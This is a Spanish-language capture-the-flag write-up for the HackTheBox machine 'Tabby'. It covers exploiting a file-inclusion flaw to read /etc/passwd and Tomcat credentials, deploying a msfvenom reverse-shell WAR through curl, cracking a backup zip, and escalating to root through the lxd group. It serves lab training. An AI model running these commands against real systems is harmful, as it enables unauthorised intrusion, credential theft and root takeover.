Autor: J4ck21
HackTheBox

OS: Linux
Dificultad: Easy
Puntos: 20

Nmap scan

nmap -p- --open -v -n tabby.htb

PORT STATE SERVICE2
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy

nmap -p22,80,8080 -sC -sV -o allPorts tabby.htb

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat

Puerto 80

LFI

Vemos que en apartado de news es muy distinto a los otros del menu ya que en este te envia a un fichero que sellama statment, esto significa que hay alta probabilidad de LFI.

Añadimos megahosting.htb en /etc/hosts para ver el contenido. Miramos con Burp y vemos que realmente se trata de un LFI.

Guardamos los usuarios como informacion importante asi que vamos a filtrar los que puedan loguearse, normalmente son los que acaban con /bin/bash peró eliminare los que no quiera asi el filtro sera mejor.

cat etc-passwd | grep -v "nologin$\|false$\|sync$"

root:x:0:0:root:/root:/bin/bash
ash:x:1000:1000:clive:/home/ash:/bin/bash

Puerto 8080

Nos dirigimos a la pagina tomcat por el puerto 8080 y si leemos un poco vemos que hay dos cosas importantes, un fichero con users y hay distina informacion a tener en cuenta en este caso vemos que se trata de que el creador de la web és veterano y lo instala en CATALINA_HOME.

Aun asi el directorio no es correcto asi que utilizamos la herrramienta ffuf para descubrirlo.

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://megahosting.htb/news.php\?file\=../../../../../usr/share/tomcat9/FUZZ/tomcat-users.xml -fc 404,401 -fs 0

   /'___\  /'___\           /'___\
  /\ \__/ /\ \__/  __  __  /\ \__/
  \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
   \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
    \ \_\   \ \_\  \ \____/  \ \_\
     \/_/    \/_/   \/___/    \/_/

  v1.0.2
:: Method : GET
:: URL : http://megahosting.htb/news.php?file=../../../../../usr/share/tomcat9/FUZZ/tomcat-users.xml
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 404,401
:: Filter : Response size: 0

etc [Status: 200, Size: 2325, Words: 361, Lines: 48]

Encontramos el xml, vemos el user y una password de tomcat.

<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

RCE

Creación del payload con metasploit con extension war.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Subir el war file, lo hacemos con curl porque no tenemos permisos de la interfaz html para ello necessitariamos ser tambien ==manager-gui==, pero al ser ==manager-script== nos permite la subida de ficheros war.

curl -u tomcat:'$3cureP4s5w0rd123!' -T shell.war 'http://tabby.htb:8080/manager/text/deploy?path=/shell&update=true'

OK - Deployed application at context path [/shell]

Vemos que podemos comprovar si el fichero se ha subido correctamente como dice en la web de la siguiente forma.

curl -u tomcat:'$3cureP4s5w0rd123!' http://tabby.htb:8080/manager/text/list

Ejecucion de la shell

curl -u tomcat:'$3cureP4s5w0rd123!' http://tabby.htb:8080/shell/

Usuario - ASH

Vemos un arvhivo backup en /var/www/html/files

Craquear el zip

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip

PASSWORD FOUND!!!!: pw == admin@it

Probamos de loguearnos con la password para el user. Y nos devuelve la shell.

Escalación de Privilegios - ROOT

Si vemos dentro del directiorio snap vemos un programa donde logicamente tenemos estamos dentro del grupo.

Vemos que hay una possible escalacion por ese programa. Ya que cualquier miembro local que pertenezca en este grupo puede immediatamente escalar privilegios hacia al user root.

Preparación de la escalación de privilegios

El primer passo es descargarse el build alpine. Para ejecutarlo en la maquina atacante, para ello tenemos que hacerlo con nuestro root user. Y luego transferir este archivo tar que se nos ha creado a la maquina victima.

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine

Ahora toca transferir nuestro fichero al directiorio home del usuario, és importante que sea en el home ya que sino no encuentra el tar.

El siguiente paso es crear la imagen con el LXD.

És importante leer porque nos dice que como és la primera vez que lo ejecutamos nos pide que antes utilizemos lxd init para crear la pool y asi no tener errores al crear el container.

Dejamos todo por defecto y al final listamos las imagenes.

Por ultimo, queda crear el container y ejecutarlo como root.

lxc init ShadowImage ShadowDC -c security.privileged=true
lxc config device add ShadowDC mydevice disk source=/ path=/mnt/root recursive=true
lxc start ShadowDC
lxc exec ShadowDC /bin/sh
id

Comprovación en la maquina victima.